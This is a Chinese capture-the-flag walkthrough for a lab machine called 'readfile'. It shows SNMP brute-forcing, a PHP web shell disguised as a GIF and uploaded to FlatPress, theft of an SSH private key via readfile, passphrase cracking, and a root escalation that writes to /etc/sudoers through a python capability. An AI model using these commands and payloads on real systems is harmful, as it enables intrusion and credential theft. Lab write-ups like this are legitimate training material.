一、信息收集

1. 主机发现与端口扫描

首先，在目标网段内使用 `arp-scan` 进行主机发现，确定目标靶机的IP地址。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:57:e5:45, IPv4: 192.168.205.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
...
192.168.205.225 08:00:27:f9:22:ec       PCS Systemtechnik GmbH
...
```

发现目标主机IP为 `192.168.205.225`。接着，使用 `Nmap` 对其进行全端口TCP扫描，以识别开放的服务。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.225
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-27 22:36 CST
Nmap scan report for 192.168.205.225
Host is up (0.00019s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:F9:22:EC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
...
```

扫描结果显示，目标开放了 **22 (SSH)** 和 **80 (HTTP)** 两个TCP端口。

2. Web服务侦察

访问 `http://192.168.205.225`，发现网站由 **FlatPress 1.2.1** 驱动。起初怀疑利用已知的路径泄露漏洞（CVE-2023-0947），但尝试后发现无法读取敏感配置文件，利用价值有限。因此，转换思路，进行更全面的信息收集，扫描UDP端口。

3. UDP服务扫描

使用 `Nmap` 对目标进行UDP扫描，重点扫描常用端口。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -sU --top-port 100 192.168.205.225
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-27 22:41 CST
Nmap scan report for 192.168.205.225
Host is up (0.00041s latency).
...
PORT    STATE SERVICE
161/udp open  snmp
...
```

扫描发现 **161 (SNMP)** 端口开放。SNMP（简单网络管理协议）常因配置不当而泄露大量敏感信息。

二、漏洞利用

1. SNMP社区字符串爆破

尝试使用默认的社区字符串 `public` 通过 `snmpbulkwalk` 读取信息，但请求超时，说明社区字符串并非默认值。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ snmpbulkwalk -c public -v2c 192.168.205.225 .
Timeout: No Response from 192.168.205.225
```

因此，使用 `Hydra` 和常见社区字符串字典对其进行爆破。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-
strings.txt 192.168.205.225 snmp
...
[161][snmp] host: 192.168.205.225   password: hello
...
```

成功爆破出社区字符串为 `hello`。

2. SNMP信息泄露

利用找到的社区字符串 `hello`，使用 `snmpwalk` 遍历目标主机的MIB（管理信息库）。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ snmpwalk -v2c -c hello 192.168.205.225
...
```

在遍历输出的信息时，特别关注 `NET-SNMP-EXTEND-MIB` 部分，这里通常包含自定义的扩展脚本或命令输出。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ snmpwalk -v2c -c hello 192.168.205.225 NET-SNMP-EXTEND-
MIB::nsExtendOutputFull
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."password_leak" = STRING: Please change
your old password mini:hereismyP@ssword!
```

成功发现了一对凭据：**mini:hereismyP@ssword!**。

3. FlatPress后台Getshell

利用获取的凭据登录FlatPress后台，发现存在文件上传功能。根据FlatPress的历史漏洞（如 issue152），可以上传带有PHP后门的图片马绕过限制。

首先，构造一个PHP Webshell，并添加GIF文件头（`GIF89a;`）伪装成图片。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ cat cmd.php
GIF89a;
<?php phpinfo(); ?>
<?php
// 一个简单的一句话木马，接收参数 a 和 b，执行 a(b)
if(isset($_GET['a']) && isset($_GET['b'])) {
    $a = $_GET['a'];
    $b = $_GET['b'];
    $a($b);
}
?>
```

通过后台的 `Uploader` 功能上传 `cmd.php`。上传成功后，在 `MediaManager` 中找到该文件并访问其路径。

通过 `phpinfo()` 页面确认PHP环境信息，发现 `disable_functions` 禁用了 `exec`，`passthru`，`system` 等常用命令执行函数。但靶机名称为 "readfile"，且 `readfile` 函数并未被禁用。利用这一点，我们可以读取服务器上的任意文件。

构造Payload读取 `mini` 用户的SSH私钥。

```
// 访问URL
http://192.168.205.225/fp-content/attachs/cmd.php?
a=readfile&b=/home/mini/.ssh/id_rsa
```

成功获取到了 `id_rsa` 私钥内容。

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBs9hF9e6
BDgkkpTQeIBXWnAAAAEAAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQDMLPsXVilq
...
GMeO9DFj+TVNOAAAWQlf+JWy/M5Rxe/K4o+xoFxWwczXoEJKJ/JjTgIpd5Y98izZ2+cgOO
...
TShmbwoIxBXb8RZdrcoz2iGj7+SnEHlOa/2xOVXqROgO75N65ajDrsFp6gKXOhxaMnzos7
...
91HOF2ijmdWjTHyO6K9zQnvi9gQ=
-----END OPENSSH PRIVATE KEY-----
```

三、权限提升

1. SSH私钥破解与登录

将获取的私钥保存到本地，并发现该私钥被密码保护。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ssh mini@192.168.205.225 -i /tmp/id_rsa
Enter passphrase for key '/tmp/id_rsa':
```

使用 `ssh2john` 提取私钥的哈希，再用 `John the Ripper` 和 `rockyou.txt` 字典进行破解。

```
┌──(kali㉿kali)-[/tmp]
└─$ ssh2john /tmp/id_rsa > hash

┌──(kali㉿kali)-[/tmp]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
...
ilovehim         (/tmp/id_rsa)
...
```

成功破解出私钥密码为 `ilovehim`。现在使用私钥和密码成功登录SSH。

```
┌──(kali㉿kali)-[/tmp]
└─$ ssh mini@192.168.205.225 -i /tmp/id_rsa
Enter passphrase for key '/tmp/id_rsa': ilovehim
...
mini@readfile:~$ id
uid=1000(mini) gid=1000(mini) groups=1000(mini)
```

2. rbash绕过与提权信息收集

登录后发现当前使用的是 `rbash` (Restricted Bash)，许多命令和操作（如重定向、改变路径）受限。

```
mini@readfile:~$ echo $SHELL
/bin/rbash
```

尝试执行 `bash -i` 后，发现可以直接执行 `/bin/bash` 来获取一个正常的shell环境，随后进行信息搜集。

在搜寻SUID文件时未发现明显可利用的程序。接着检查文件的 `Capabilities`，这是Linux内核提供的一种更细粒度的权限控制机制，可以允许普通用户执行特权操作。

```
mini@readfile:~$ getcap -r / 2>/dev/null
...
/usr/bin/python3.10 cap_dac_override=ep
...
```

发现 `/usr/bin/python3.10` 具有 `cap_dac_override` 权能。

> **知识点补充：** `cap_dac_override` 权能允许进程忽略文件的所有权和权限检查（Discretionary Access Control），即使用户对文件没有读写权限，拥有此权能的进程依然可以读写该文件。

3. 利用Capabilities提权至Root

利用 `python3.10` 的 `cap_dac_override` 权能，我们可以向任意文件写入内容，例如 `/etc/sudoers`。通过向该文件追加一条规则，赋予 `mini` 用户无密码执行所有命令的 `sudo` 权限。

```
mini@readfile:~$ /usr/bin/python3.10 -c "
with open('/etc/sudoers', 'a') as f:
    f.write('mini ALL=(ALL:ALL) NOPASSWD: ALL\n')
"
```

该命令执行后，`mini` 用户即获得了最高权限。

4. 获取Flag

最后，使用 `sudo bash` 切换到 `root` 用户，读取系统中的两个flag文件。

```
mini@readfile:~$ sudo bash
root@readfile:/home/mini# whoami;id;cat /root/proof.txt /home/mini/local.txt
root
uid=0(root) gid=0(root) groups=0(root)
15ea28dcdd363fbb1feaf8798cffee17
8ef74e948513d915a979dc758f02310a
```

成功获取 `local.txt` 和 `proof.txt`，渗透测试完成。